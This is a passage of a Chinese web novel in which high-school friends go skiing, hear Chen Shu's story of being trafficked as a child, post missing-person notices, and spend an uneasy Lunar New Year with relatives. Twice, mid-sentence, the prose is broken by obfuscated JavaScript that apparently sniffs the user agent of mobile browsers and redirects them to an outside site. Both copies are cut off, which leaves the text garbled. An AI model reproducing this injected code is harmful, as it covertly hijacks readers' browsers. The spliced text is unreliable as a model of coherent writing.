林听紧张道:“你真要去中级滑雪场那边吗?期期……你刚才不是说技术生疏了吗?还是算了吧,不太安全。” 技术生疏…… 张期期只觉得搬起石头砸了自己的脚,她深吸一口气,笑着道:“没有啦~我已经在这边找回感觉了。好不容易来一次,我想滑个畅快!” “那好吧。”林听小心又道:“你小心一点。” “知道啦~” 滑雪场的雪车拉着他们几个去到了中级滑雪场,看着坡度较大的滑雪道,陈恕皱了皱眉头,眼神担忧。 然而一旁的张期期却惊喜地叫了起来,直呼这才是她的主场。 张期期按了按头盔,检查了一遍身上戴着的护具,又敲了敲滑雪板,一切准备就绪,她挑眉看了一眼陈恕、兰亭等几人,笑着道:“让你们看看我真正的实力!” 许兰亭捧场地鼓起了掌,林听、周嘉先见状也纷纷鼓起了掌。 陈恕笑了笑,“你小心点。” 张期期比了个“OK”的手势,随即将护目镜戴上。 她踩在滑雪单板上,膝盖微微弯曲,重心下压,整个人“咻”地一下飞速蹿了出去,她在空中旋转一圈又飞落在滑雪道上。 雪花溅起,阳光洒在雪道上。她浅蓝色的滑雪服就像空中湛蓝的晴天,站在滑雪板上的她游刃有余,飞扬自由。 她压着身体与地面形成45度角,手掌微微滑过地面,滑雪单板便转了个弯,再起溅起飞雪。 熟练的滑雪技术,眼花缭乱的滑雪姿势,中级滑雪场上的游客陆陆续续地停下来,看着在滑雪道上飞速滑行,在半空中旋转、跳跃的少女。 不远处就是个极为陡峭的坡度,陈恕攥紧了手心,看着自由飞扬的她一下子蹿到半空中。 湛蓝色的晴天下,少女半蹲着身体踩在滑雪板上,她手臂张开维持身体的平稳,在最高点时,张期期张开手掌,簌簌雪花从她手心飘落。 耀眼的阳光照在她的身上,她仿佛踩在了飞雪之上。 看着那道浅蓝色的身影,她的身后是一望无际的雪场和蓝天,雪天相映,金色光芒耀眼,陈恕心脏砰砰直跳,这一刻她比炙阳更耀眼、更温暖。 陈恕不自觉地轻声呢喃,“期期……张期期……” 这一切仅在一瞬间,当张期期从半空跃下,踩在滑雪板上往远处滑去时,周围的游客仿佛醒过来一般,他们哇哇哇地大叫着,为那个耀眼、自由的少女鼓起了掌声。 林听眼眸带着惊喜,大声喊道:“期期……真棒!” 许兰亭双手在嘴前合成喇叭状,大声喊着,“哇——牛逼——” 周嘉先抱着胸笑着和陈恕道,“原来这才是她真正的实力啊,我还以为她开玩笑的呢!” 陈恕眼眸带着笑意,“嗯,她真的很优秀。” 周嘉先:…… 喂喂喂——你这幅荡漾的表情是怎么回事? * 傍晚,日落西山,火红的艳色云霞蔓延在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457623|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天际边。整个滑雪场渐渐安静下来,游客四散着找了位置坐下来,静静地看着天际边的那一场落日余晖。 张期期带着陈恕、林听、许兰亭、周嘉先走到了远离人群的雪场边角处,那是一片地势陡峭的雪地,是她在炫滑雪技术时找到的地方。 “好了,就是这儿。”张期期率先一屁股坐下来,她指着远处渐渐低沉的残阳,继续道:“是吧?这儿看日落真的很美呢。” “嗯。真的很美……”林听轻声道。 她目不转睛地看着眼前的自然美景,橘红色的霞光洒在雪地上,仿佛铺上了一层华丽的锦娟。 他们纷纷坐在雪地上,并排着望着远处的残阳,日落西山,霞光万丈,那是一种大自然惊心动魄的美,鬼斧神工造就的、人类无法复刻的景色。 霞光徜徉在他们的身上,这一刻,置身于苍穹之下的他们显得渺小而脆弱。 周嘉先坐在最左边的位置,他的右边是陈恕,陈恕的右边是张期期,接着是林听,许兰亭。 张期期抱着头盔,试探着微微靠在陈恕的肩膀上,她眼眸带着笑意,脸上蒸腾而上的羞怯被艳丽的霞光遮掩。 陈恕余光微微下移,眼眸扫过她的发顶,凌乱的发丝随着寒风轻轻飘动着抚在他的侧脸上,细微的痒意爬上他的心头。 他抿了抿唇,眼底却带上笑意,少年收回视线,望向正前方的西山。 “早上那两个人贩子就是曾经拐卖我和我弟弟,又残忍杀害我妈妈的凶手。” 不知怎的,或许是这一刻的气氛让他有了想倾诉的欲望,曾经苦涩又尖锐的过往在这一刻化作了轻描淡写的一句话。 然而这句话对其他人来说,说是石破天惊都不过分。 张期期一滞,立刻抬起头坐直身体、刷地一下看向身旁的陈恕,她惊愕异常地瞪着眼睛望着他。 ……虽然她有很多很多的猜测,但陈恕的过往依旧像被朦胧的薄纱覆盖住一样,她只知道安置房那个男人是陈恕的亲爸,那个女人是他后妈,陈恕被别人领养了,他养父养母对他非常不好,再加上今天发生的事,她便猜测陈恕是被拐卖的…… 但……她从未想过他真正的过往居然更加支离破碎,陈恕……他的妈妈,他的弟弟……一股难以言喻的心疼弥漫在她的心头上。 张期期伸手紧紧地握住少年的手掌,企图给他带去一丝的安慰。 许兰亭无声张大嘴巴,一下一下地吸着气;林听抿住唇,她以为她自己已经够苦了,但拐卖、杀害……她猛然一颤,太可怕了…… 周嘉先咬紧牙,一言不发。 此时的气氛凝滞,空气仿佛粘稠的墨水一样让人透不过气。 陈恕带着歉意的语气轻声道:“抱歉,可能是日落西山太美了,让我突然想倾诉过去,唔……今天的事也多亏你们的帮忙,总觉得至少该和你们说一下,不能让你们都一头雾水的。” “但……”他笑了笑,“我好像搞砸了,这么好看的景色其实不应该说这么沉重的话题。” 许兰亭绷着脸,伸手试图去勾陈恕的肩膀,但他和陈恕之间隔着张期期和林听,于是他直接站起来换了个位置坐在陈恕、张期期之间的对面,背靠着西山日落。 他伸手拍了一下陈恕的肩膀,“喂——你这家伙说什么呢?” 许兰亭摸了摸自己的后脑勺,突然低声道,“你说呗,我们听着。” “嗯,你想说什么,我们都愿意听。”张期期伸手换成将身旁少年的手臂抱在怀里,下巴垫在他的肩膀上。 陈恕一顿,霞光下,他一一望着他身旁的朋友,他们微微笑着看着他,眼神温柔。 陈恕笑了,眺望着火红的天边,回忆倒带回那个十几年前那个夏日的傍晚,窗外蝉鸣声起起落落,他捂着弟弟的眼睛咬牙憋住声音从柜子的缝隙中望向破碎的妈妈。 后来……他和弟弟也没有逃脱命运的苦难。 连绵的大山,一眼望不到尽头的绝望和疼痛日复一日。 …… 当夕阳完全沉下去,天边最后一缕霞光散尽,少年神色平静地讲完了那些过往。 雪道上亮起了一排排的灯带,看久了会让人头晕眼花,滑雪场上的游客陆陆续续往回走,张期期、陈恕几人也不例外。 他们将滑雪服、滑雪板等等还了,随着人流走到山庄内的酒店。 张期期:“我这身衣服得回房间换下来。要不,你们先去吃饭,我等会儿就过去找你们?” 林听闻言,摇了摇头,“我也得回房间一趟。他们先去吧。” 许兰亭、陈恕、周嘉先互相看了看,周嘉先领会到他们的意思,便道:“还是一起回趟套房吧。我们滑了雪,身上有些脏,还是先回去清理一下再吃饭吧。” “那走吧。”张期期道。 十几分钟后,他们坐在了酒店内的餐厅里,还是自助餐的模式,好在这家自助餐餐厅的餐品很多,他们吃几次都没有腻。 几人围坐在一张圆桌旁,他们的面前是各自夹的想吃的东西。 与旁边热热闹闹的氛围不同,张期期等人显得有些安静,都沉默地吃着自己餐盘内的东西。 半响,周嘉先顿了顿,捏紧了手中的勺柄,率先开口道:“陈恕……” 陈恕抬眸,停手望向周嘉先,“怎么了?” 望着对方平静的神色,周嘉先说不清心底的情绪,他清了清嗓子,道:“我推测啊……我就是说一下我的推测,既然这两个人贩子在黑木市这边活动,你弟弟也有可能当初被他们卖到了黑木市。” “所以……”周嘉先推了推眼镜,继续道:“我们要不在这里贴一贴寻人启事?当然,我知道警方肯定也会帮忙找,但我们反正也没事,就试着做些力所能及的事,你……觉得怎么样?” 周嘉先眼神试探着,他是知道陈恕在各大寻人网站上刊登寻人启事的,有些网站的流量非常大,刊登寻人启事是要钱的,特别是刊登在网站的首页上。 他话音一落,张期期、许兰亭、林听都下意识地看向陈恕,满怀关切。 陈恕望着眼前他的好友们,鼻尖一酸,他眨了眨眼,压着情绪平静地笑了笑,“好。谢谢你们。” 张期期见他笑了,心里提着的那口气终于缓缓泄掉了,“不用客气啦~我们是朋友!”其他人也纷纷点头附和着。 许兰亭催促道:“那还等什么!快吃,吃完我们回去房间。”他看向陈恕继续道:“回去寻人启事就给你写。我们看看酒店前台能不能复印,能的话就在前台复印就行。” “好。”陈恕点头。 周嘉先想起了什么似的,还是道:“其实……最好还是要有照片比较好。”他之前就和陈恕说过这个问题,但陈恕并没有回答他。 陈恕抿了抿唇,“我有。” 那个年代照相还不普及,所以陈岩将以前仅有的他妈妈、他弟弟的照片销毁之后,他根本就拿不出来一张照片,而……现在他手上的这张是燕姨给他的,仅剩的唯一一张。 - 吃完饭,张期期、陈恕他们回到了套房内,围坐在客厅的茶几旁等着陈恕,陈恕拿着张A4纸低头写着。 张期期低头刷着手机页面,心里低声念叨着,「要写失踪当日的穿着、小孩面貌特征,要是有胎记什么的就更好了……」 将这些注意事项记在心里之后,她抬头准备和陈恕讲一讲的时候,却发现就这会儿功夫他已经写完了。 “这么快?”她惊讶问道。 陈恕抿了抿唇,贴寻人启事、写寻人启事这样的事情他做过无数遍了,如何写寻人启事、写寻人启事的注意事项他也早就烂熟于心。 周嘉先看了陈恕一眼,眼中闪过了然,“好,写完的话,我们去前台复印。对了,你那张照片呢?” 陈恕起身从书包里拿出来一张泛黄的照片。 张期期顿了顿,“我、我们可以看看吗?” 陈恕点头,其他人便围过来看着,张期期指了指其中一个小男孩,肯定道:“这个一定是你!” 陈恕:……“这个是我弟弟。” 张期期:??? “不是……你弟弟比你还高的吗?”她瞪着眼睛,惊愕道。 陈恕抿了抿唇,虽然不想承认,但确实如此,“我弟弟比我小一岁半,但他比我高比我壮。” “那这个瘦瘦小小的,才是你?”张期期指着矮个子的小男孩问道。 陈*瘦瘦小小*恕无奈点头,“是……” 年幼时,他经常大病小病不断,所以弟弟小他一岁多,最后却反超他,比他还壮实,也正是如此,当初被拐卖的时候,人贩子看他身体弱,就将他便宜先卖出去了,他们生怕他死掉,砸在手里。 张期期无声地张了张口,立刻选择转移话题,“我带了手机,你照片给我拍一下,我让人修复还原,不然这照片太模糊了,打印出来的话会更模糊。” …… 翌日清晨。 张期期、陈恕、周嘉先、许兰亭、林听几人坐了最早下山的班车到了镇上,因为时间很早,这一次他们正好赶上了镇上的集市。 昨天看着旷阔无比的街道此时却拥堵不堪,小摊贩在街道两旁吆喝着,热腾腾的蒸汽从他们的炉子上溢出来,慢慢升上天际。 喧嚣、热闹、集市上人来人往的。 张期期、陈恕几人走街串巷,顶着寒风穿过人流,将一张张寻人启事贴在墙上。 随着天色渐渐发亮,他们手中厚厚的一叠A4纸慢慢贴完了,几人累得一屁股坐在凳子上。 张期期招手,有气无力喊道,“老板,五碗鲜肉馄饨。” “好勒——” …… 吃完馄饨之后,张期期他们才终于再次焕发精神,她道:“我们上次买特产没买成,要不要现在再去看看?反正我们回京照是下午的高铁……” 陈恕率先站起来,“走吧。” 许兰亭笑着喊道:“我同意!走,出发!” …… 71. 第 71 章 - 回京照市的高铁上,全省统考的成绩出来了。 张期期在网址上将她的准考证号输入,然后眼睛一闭,指尖重重地按下“查询”。 高铁上网络不好,网址的页面一直卡着,她瞄了一眼,还是没显示出来,便将手机一丢,丢在小桌板上,“陈恕……等会儿你帮我看看成绩。我不敢看……” 太紧张了…… 她从来没这么紧张过,以往她都能大概估算出她的成绩,但这次……她真的摸不准她这么努力地学了一个半月的英语,到底能不能提高几十分。 陈恕低头拿过小桌板上的手机,他眼眸闪过丝丝笑意,“好,我帮你看。” 这时,高铁正穿过长约三、四公里的隧道,一会后,天光大亮,手机的页面也转了出来,陈恕抿着唇,攥着手机,定定地看着页面。 “怎么样,怎么样,出来没有?”张期期双手捂着脸,食指和中指岔开,眼睛偷偷露出来,想看又不敢看。 ……她要是没进全省前十,开学怎么有脸去见班里的同学,还有陈恕……他们在统考前花费在她身上那么多精力、时间,啊—— 前排的许兰亭、林听,后排的周嘉先闻声也起身凑过来,许兰亭急声道:“进了没,进了没?” 陈恕微微笑了笑,“进了……全省第七。” 那位原本第七的李同学被压到第八名了,对方比张期期低了两分。 “啊——太好了!”张期期抱着头,压低嗓音低声欢呼着。 许兰亭、林听、周嘉先纷纷笑了,林听开心道:“恭喜你啊!期期。真棒……” 张期期脸一红,她挥了挥手,“也没有啦~托大家的福。嘿嘿嘿。” 周嘉先:……你先把你眼里的得意收一收先,再来谦虚。 接下来,陈恕、林听几人也借着张期期的手机,看起了各自的成绩。 林听:全省第十。 陈恕:全省第四。 周嘉先:全省第十五名。 许兰亭:全省523名。 许兰亭面色复杂,“我和你们的排名真的有壁垒!你们……该不会偷偷学习,背着我卷生卷死吧……” 几乎每天晚上刷题到深夜的张期期有点子心虚,她顿了顿,道:“身为全省排名第二的重点高中重点班的我们,每天晚上刷题难道不是必备的吗?” 张期期倒打一耙,食指动了动,“你觉悟不行啊!许兰亭!” 许兰亭:……“靠!” 回到京照市之后,张期期、陈恕、林听、周嘉先将各自写下的“内测体验感受”拿给了许兰亭,众人说笑一会后,才在高铁站附近各自乘坐不同的交通工具回了家。 * 月明星稀,皇家园林别墅区的树木随着风吹动发出“飒飒”的响声。 许兰亭刚从卫生间出来,便听到了楼下的响声,他走到窗边往下一看,是他哥的车,他哥回来了…… 他将擦头发的毛巾随手扔在房间的沙发上,拿起几张A4纸便往楼下跑。 许敬亭一开门,便看见他弟弟从楼上跑下来,一眨眼的功夫几张A4纸就在他的眼底了。 “哥!给你!打钱!”许兰亭双眼亮晶晶道。 许敬亭都气笑了,他接过几张A4纸,笑骂道:“我听黄叔说你回来了,马不停蹄地赶回家,几天不见你,你见我的第一句话就是打钱!” “小兔崽子,你有没有良心啊!” 许兰亭一顿,尴尬地笑了笑。 虽嘴里骂着,但许敬亭却还是低头认真地浏览着手中A4纸上的内容,他一边看一边往沙发走去,坐在了沙发上继续翻看着。 他边看边皱起了眉头,偶尔还抬起头眼眸微转,一看就是在思考。 许兰亭倒是安静地坐在一边,这到底是写得好还是不好啊……怎么他哥一会点头,一会摇头的? 良久,许敬亭将纸张放在桌面上,“倒是写得不错,提的建议也中肯。”他看向许兰亭,皱起眉头,“少了你那份,你的呢?” 许兰亭:…… 他食指指了指自己,“我?我也要写?” 许敬亭将A4纸卷成筒,敲了他的脑袋一下,“不然呢?看看你小女朋友写的,你呢?不学无术!还敢肖想人家!脸真是够大的!” “哥……”许兰亭神色扭捏了一下,“她……她还不是我小女朋友,人家还没答应我呢!” 许敬亭:……不是……这是我说的重点吗?他瞪了他弟一眼,起身准备往楼上走。 “诶……哥、哥……哥!” 许敬亭笑了一声,“知道了,打钱!” - 另一边,张期期拎着大包小包推开了家门,“爸——妈——我回来啦……” 她一喊完,厨房的莲姨紧张兮兮地跑了出来,她连忙拉住张期期的手,小声道:“期期……小声点。太太和先生……” 许是觉得在背后议论太太先生到底不好,她无奈地“哎”了一声。 张期期满头雾水,低声问:“怎么了莲姨?” “太太和先生……好像、好像吵架了。”莲姨神色忐忑凑近她的耳边低声道。 吵架了??不会吧??她爸妈感情一向非常好的,她就没看过她爸对她妈大声说话过,怎么会突然吵架了呢? “我去看看。”张期期道,她连忙将手中的特产放在地上,准备上楼去看看。 然而当她将特产放在地上后,楼梯处传来了声响,张期期一抬头,是她爸妈下来了。 她站在原地眼神探究地在她爸妈脸上来来回回地看,两人神色与往常一样,嗯……她妈微笑着,她爸也神色平静…… 戚和风笑着道:“我们期期回来啦?怎么样,这几天玩得开心吗?”她的视线转移到女儿脚边的东西,惊讶道:“呀,期期还买了特产啊?” 见父母神色都没有任何异样,张期期这才笑着跑过去抱住戚和风的手臂,“是啊,买了一些特产。这次和朋友出去真的太好玩了。” 一家三口坐在客厅的沙发上,张期期从袋子里拎出一袋又一袋的特产拿给她父母看,“爸,你看这是我买给你的……” “这个是妈妈的……” “啊,这个是我的……” “还有莲姨、李叔的……” 张世明、戚和风笑着看着她絮絮叨叨地讲着,说到兴起的时候还手舞足蹈…… 张期期边说着,边偷偷对莲姨挤了个眼色,看吧……我爸妈被我逗乐了,他们才不会吵架呢! - 饭桌上延续了方才一家人欢乐的良好气氛,张期期吃完饭正准备将碗放下时,张世明突然道:“期期,我们今年过年回宜市那边好不好?” 张家的酒店“盛明”其实一开始是发家于宜市的,宜市正是张家的祖籍,而“盛明”是张世明爷爷的名字。 后来,“盛名”酒店渐渐做大,成为全国连锁五星级酒店,在各大城市做得非常好,京照市自然也不例外,更因为京照市是一线城市,后来张家也就举家定居在了京照,一跃挤上了京照上流商圈。 但张世明父母年纪大了,老人家念着“落叶归根”,于是便迁回了宜市老宅。 每年张世明都会挤出时间带戚和风、张期期回宜市几趟,但过年却是少有的。 一方面张世明在过年期间总是要和本地的世家走动,另一方面也是因为戚和风,戚和风与张世明的婚姻本来就不受张家人看好,所以戚和风免不了要看长辈的脸色,特别是过年期间,家族聚餐的时候,她总是格格不入,因此两三次过后,张世明也就拒绝了过年回宜市老宅。 张世明的话音一落,张期期明显感觉到饭桌上的气氛顿时沉滞。她余光瞥了一眼她妈,肉眼可见的,她妈的脸色难看了起来。 看着她爸嘴角带笑,眼神期盼的模样,张期期顿感为难,“爸,今年怎么突然要回去过年啊?” 其实她私心下也是不愿意回宜市的,宜市不是她长大的城市,她对宜市人生地不熟的,那边也没有朋友、小伙伴,甚至她和那边的堂兄弟姐妹、表兄弟姐妹关系也非常一般。 说是堂表兄弟姐妹,但那其实是她爷爷的兄弟姐妹的孙子孙女,她爸是独生子,所以她和那些人关系远着呢! 只是……她觉得关系远,但……她爷爷不觉得,老人家年纪大了,格外喜欢家族内的孩子,所以她不在老家的时候,经常叫那些堂表兄弟姐妹过去老宅玩。 她如今长大了,自然看得出来,这些人是冲着什么去的,而且她爷爷的兄弟姐妹还老喜欢摆长辈的脸色给她妈看! “也不是突然,我们这么多年没回去过年了,难道不应该回去?你爷爷奶奶年纪大了,也很想你啊!你不想和他们一起过年吗?”张世明循序渐进问道。 张期期:…… ……她敢说不想吗?而且,爷爷奶奶也不一定想她…… 张期期心底偷偷翻了个白眼,她犹豫片刻后,选择将问题扔回去,“我听爸妈的。” “那行,就这么决定了。”张世明一锤定音道:“期期,你明天就去宜市陪爷爷奶奶他们,爸妈年二十九再回去。” 闻言,张期期就差一蹦三尺高了,她惊声道:“明天?我今天才刚回来啊!” “不是……爸妈,我到时候年二十九和你们一起回宜市就好了,为什么我明天就要自己一个人回去啊!而且……而且我寒假的美术培训班还要上呢!” 张世明看了她一眼,“美术培训班……你到了宜市再报一个就行了。这不是什么大问题。” 最终张期期还是被打包赶上了飞往宜市的航班,时间仓促得她都来不及和陈恕说一声。 * 宜市。 看着眼前热热闹闹,亲热得仿佛他们才是真正一家人的众人,张期期嘴角抽搐。 从她到宜市老宅的那天起,十多天来,老宅就没有安静过,不是今天这一支的亲人过来玩,就是那一支的族人过来玩…… 嗯……这个“一支亲人”、“那支族人”的描述用语还是这些人硬是扯着她跟她细细掰扯的。 堂兄弟姐妹、表兄弟姐妹,还有七大姑八大婆的,她全都见着了,每见一次,她心里就郁闷一分。爷爷奶奶都有这么多人陪着了,到底为什么她爸要让她这么早就过来…… 看着她爷爷奶奶一脸慈祥地和她的堂兄弟姐妹说话时,张期期感觉更加不适,这是……在晾着她吧? 张期期心底笑了笑,每年他们都是这种招式,以此来无声地暴力她,且表达对她妈妈的不满意…… “爷爷奶奶,我美术课培训班的时间快到了,我就先去上课了。” 张期期说完,礼貌性地点头微笑,拎上她脚边的大书包起身往外面走去,议论和不满的话语从她的身后隐隐约约地传过来,但她毫不在意。 十几分钟走路的路程,张期期就到了美术培训室。这间培训室在宜市非常出名,几乎是高考准备走美术艺考的学生的第一选择。 教室内的氛围非常沉闷,张期期其实也很能理解他们的压力,但……同培训室的同学却是十分不理解张期期。 “期期……你都不参加美术艺考,你和我们一样这么拼命地上课干什么?你要努力应该也是报文化课的培训班才是啊!” 对此类问题,张期期保持一贯的沉默。 ……其实她也想像他们一样走美术艺考的路子,她是真的喜欢画画,她想要考国内顶级的美术学院,但是她爸想让她学管理,想让她以后接手家里的产业…… 张期期无声地叹了一口气,她爸爸虽然疼她,但是在一些事情上,他爸拥有一票否决、一票通过的权利,譬如她未来的专业选择,又譬如这次来宜市的打算。 某种程度上来说,她爸就是一个非常犟的人,譬如当年执意要娶她的妈妈。 - 傍晚,夕阳西下,张期期清洗、收拾好画笔之后,拎上她的大书包走出了美术培训室。 橘黄色的夕阳洒进美术教室,她回头看了一眼,教室内立着许许多多的绘画支架,支架上挂着画板,阳光蜿蜒爬上画板,在画板上留下斑驳的光斑。 她是最后一个离开教室的,嗯……是的,为了躲老宅里那些“群魔乱舞”的长辈。 张期期低头看了一眼手上残留的颜色膏体,同学的疑问仿佛再一次在她的耳边回响,为什么呢?她为什么会向她爸妥协呢? 为了他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张期期扯了扯嘴角,打断身旁喋喋不休的堂姐?堂妹?“我有点累了,先回房间了。” 她说完,径直往楼上走去,都是不相关的人,她才懒得应付呢!只是……她懒得应付,但不知道为什么总有人在她身边一次又一次提起这个女人。 夜深,张期期感到肚子有些饿,便穿着睡衣轻手轻脚地下楼来,打开了厨房的冰箱想找点东西吃。 她拿了瓶牛奶,刚把冰箱关上,一转身便看见她爷爷的妹妹的女儿站在厨房外看着她。 老宅很大,有时候这些亲戚也会留宿老宅。 张期期顿了顿,她应该叫对方表姨? “表姨……有什么事吗?” 对方眼眸一闪,走进厨房来,神神秘秘道:“期期啊,今天那个女人你得劝你妈妈多注意点,她也在京照市,以前她对你爸有意思,非你爸不嫁呢!” “后来你爸非要娶你妈,她当时气得半死,不过……她还是嫁得蛮不错的,通过你爸认识了京照那边姓徐的有钱人,也嫁过去当富太太了。” 张期期看着对方眼神中流露出来的嫉妒和不甘,心下微哂。 “你别不当回事,这个女人很有手段的,她老公前不久去世了,那家人的产业都被她攥在手里了呢。” 张期期闻言,眼神中闪过一丝惊讶,前阵子她确实是听说徐家的当家人去世了,她爸还去吊唁过呢,难道就是这个女人嫁的徐家? 若真是如此,那这个女人确实很有能耐,徐家并不是一代暴发户,而是有底蕴的家庭,也是京照市上流商圈的一户人家,好像最近他们家也在开发新科技? 张期期皱了皱眉头,她很少去关注圈子里的事情,但毕竟也身处圈子里,有时候总是会听到一些消息,哪怕她只是个高中生而已。 “表姨……谢谢你的好意,这件事我知道了,我也相信我爸,这些捕风捉影的事下次就不要说了。”张期期微笑着说道,随后从对方身旁绕过,上了楼。 表姨气愤难掩地低声咒骂着她,“不识好人心。” - 很快张期期又听说那个女人扫完墓回京照市了,但她人是走了,却留下一地的猜测,身处其中的张期期烦不胜烦,只能尽量地躲出去了。 好在,在她的煎熬中,年二十九这一天终于到来了…… 宜市机场。 冷风呼呼直吹着,张期期穿着中长款的白色羽绒服,浅灰色的加绒鲨鱼裤,踩着一双厚底的老爹鞋站在出站口等她爸妈。 她将卡其色的围巾拉高,抵挡着迎面而来的寒风。 十几分钟后,张世明、戚和风拉着行李箱走出来,“期期……怎么站在这里等爸妈啊,冷不冷啊?你是不是傻啊,坐车里就好了嘛。” 戚和风一脸心疼。 张期期嘿嘿笑了几声,“我想爸妈了啊,想快点见到你们。” 张世明也露出了笑意,“好了,别在这说了,我们先回家。” 张家老宅自然也派了汽车,司机将两个行李箱放在后备箱后,打开车门,让张世明一家上车。 半个小时后,他们终于回到了老宅。 看着眼前热闹到近乎吵闹的场景,张期期露出了头疼的神色,她余光瞥了一眼她的妈妈,此时她妈妈同样神色不愉。 戚和风周围坐着和她差不多同个年龄段的女人,还有女性长辈,他们压着嗓音低声说着她不爱听的话,明里暗里示意她去试管生个男孩子,甚至还有的说,让张世明出去找个年轻的生,到时候她将孩子抱过来养便是…… 戚和风气得手直发抖,这些污言秽语她听着都觉得恶心,她实在不明白,张家明明也算是有些底蕴的家庭了,为什么老宅这边的这些亲人一个个思想封建、毫无道德观念,却还沾沾自喜、自以为是。 她沉了脸,生怕被女儿听到这些话,“期期……妈妈有些累了,你陪妈妈上去休息,好吗?” 张期期闻言,眼眸一亮,“好啊好啊!妈,我陪你上去休息。” 是个人都看得出她迫切离开的想法,张期期这般模样,老宅这些人气得咬牙切齿,她们母女到底在高贵什么! 72. 第 72 章 - 今天是除夕夜的这一天,坐在飞机上的张期期怎么都想不明白,五点多他们一家三口在老宅吃了年夜饭之后,立刻赶往了机场坐上了航班回京照市。 她原以为怎么着也得在老宅呆到大年初三再走的啊! “……妈,你能告诉我,为什么我们这么快就回京照吗?”张期期疑惑道。 戚和风眼帘微垂,眼底闪过晦涩,但片刻后她复又睁开双眼,面带微笑道:“期期喜欢呆在老宅吗?” 张期期一顿,眼神瞥了一眼另一边坐着的她爸,支支吾吾道:“诶……这个问题嘛,我其实……” 张世明哼笑一声,“你这反应就是答案了。” 张期期打量了几眼对方的神色,见他爸并没有怒气的样子,便耍赖般嘿嘿笑了几声,又道:“难道老爸您是因为顾虑到我的心情才决定吃完年夜饭就走的吗?” 她眨了眨眼睛,笑嘻嘻地望着张世明。 张世明眼眸微闪,笑着道:“不然呢?这世界上还有谁能让你老爸我这么操心?” 张期期再次眨了眨眼睛,方才她爸微闪的眼神早就落在她的眼底了,她心中轻哼一声。 「什么嘛……怎么可能是因为她,她爸可是绝情地将她丢在了老宅几十天呢!」她撇了撇嘴,也不差过年期间这几天了…… 她眼眸微转,想来大概是因为她妈的缘故了,唔……之所以不告诉她,是她妈妈的缘故,大概是不想在她面前暴露她妈妈一些不太礼貌的想法吧! 这是……怕教坏了她吗?张期期心里笑了笑,什么嘛……她爸真是想太多了,她怎么可能不知道她妈妈的想法,老宅那些嘴碎的人也不值得她尊重就是了! 但这也是一个好消息,证明她爸真的很爱她妈,嗯……上次的吵架果然还是她想太多了…… 想到这里,张期期眼底弥漫的郁气顿时消散了,这几十天里她心里紧着的那口气也终于松了下来。 少女眼底笑意韵浓,“我就知道,爸妈最心疼我!” — 皇家园林别墅区。 张期期一家三口到家的时候已经是晚上九点多了。 从宜市到京照路途奔波,张世明、戚和风叮嘱了张期期一声让她早点休息便回了房间,明天他们还要与京照本地的朋友约着上门拜年。 相对比跨年夜,过年这段期间他爸妈倒是真的忙。 张期期从五楼的落地窗望出去,窗外的烟花绚烂,似乎永不停歇一般。烟花爆竹的“砰砰砰”声不绝于耳,哪怕她住的别墅区并不是人口密集的小区。 她简单洗簌一番之后,换上了短款小黑裙套装,脚下踩着粗跟的小皮鞋,背上斜挎水桶包,偷偷溜出了家门。 当出租车停在山地车专卖店门口,看着黑漆漆的店铺,张期期才突然反应过来,啊——她怎么这么蠢,哪有店铺大过年除夕夜还在营业啊? 橘黄色路灯下,她低头看着自己身上穿着的小裙子,满脸懊恼。 长长的街道上,两旁的店铺都关闭着,树冠上挂着一个个火红的灯笼,霓虹灯带蜿蜒盘旋其上,绚烂多彩。 整个城市被装扮得明亮喧嚣,哪怕是人烟稀少的街道同样灯火通明。 刚才的出租车到了目的地之后便离开了,此时她要打车回家的话需要走到大马路上,张期期边走边低头踢着路上的小石头,一副郁闷无聊的样子。 整条长街就只有她一个人的脚步声回响。 然而半响后,张期期突然听见身后有一道脚步声响起,她望着前方长长的街道顿时神经紧绷起来,她身后是有人在跟着她吗? 一时间,深夜凶杀案几个字浮现在她的脑海里,该不该跑?她要是跑了,后面那人肯定就意识到她已经发现他了。 没法子了,张期期闭眼深吸一口气,正欲拔腿就跑时,突然发现身后有人快速越过了他,走在了她的身前。 张期期一顿,诶? 她微微歪了歪头,难道是她想多了?对方只是刚好和她顺路? - 越过了单独走夜路的女生之后,陈恕越走越快,想要与身后的女生拉开距离。 刚刚在路上望见对方的背影时,他懵了一下,这背影怎么那么熟悉?他眼眸微转,只觉得越看越像张期期的背影,于是提速走过去。 然而在靠近对方时,他突然想起来,前几天他偶然遇见了许兰亭,他告诉他,期期和她家人回老家过年去了…… 那么眼前这个背影肯定不是张期期了,陈恕无奈地自嘲一声,也是在这个时候,他突然发现前面女生的背影看起来好像很紧张。 陈恕皱了皱眉,回头望了一眼,身后是人烟稀少的长街,前方也只有女生一个人,这时他蓦然意识到,对方的紧张来源于他。 因此,他目视前方,越过对方时连余光都没有扫过去,他生怕他自己无意识的一个眼神更吓到对方。 “陈恕?” 他身后传来低声、试探的语气。 陈恕脚步一顿,这声音……他猛然回过头。 灯火璀璨,少女站在闪烁着光芒的树冠下笑意盈盈地看着她,细碎的亮光铺洒在她的眼底。 见他回头,张期期笑着小跑过去扑到他的身前,惊喜喊道,“陈恕——” 陈恕低垂着眼,收回蠢蠢欲动想要接住她的双臂,他想起方才她紧张的背影,又看了看人烟稀少的长街,皱起了眉头,“你怎么在这里?” ……她不是应该在老家过年吗? 张期期微仰着头看着陈恕,笑着道:“我过来找你啊!陈恕!除夕快乐!” 陈恕压下对她单独一个人跑到这里的担忧和不赞同,点点头,也笑了笑,“除夕快乐。” 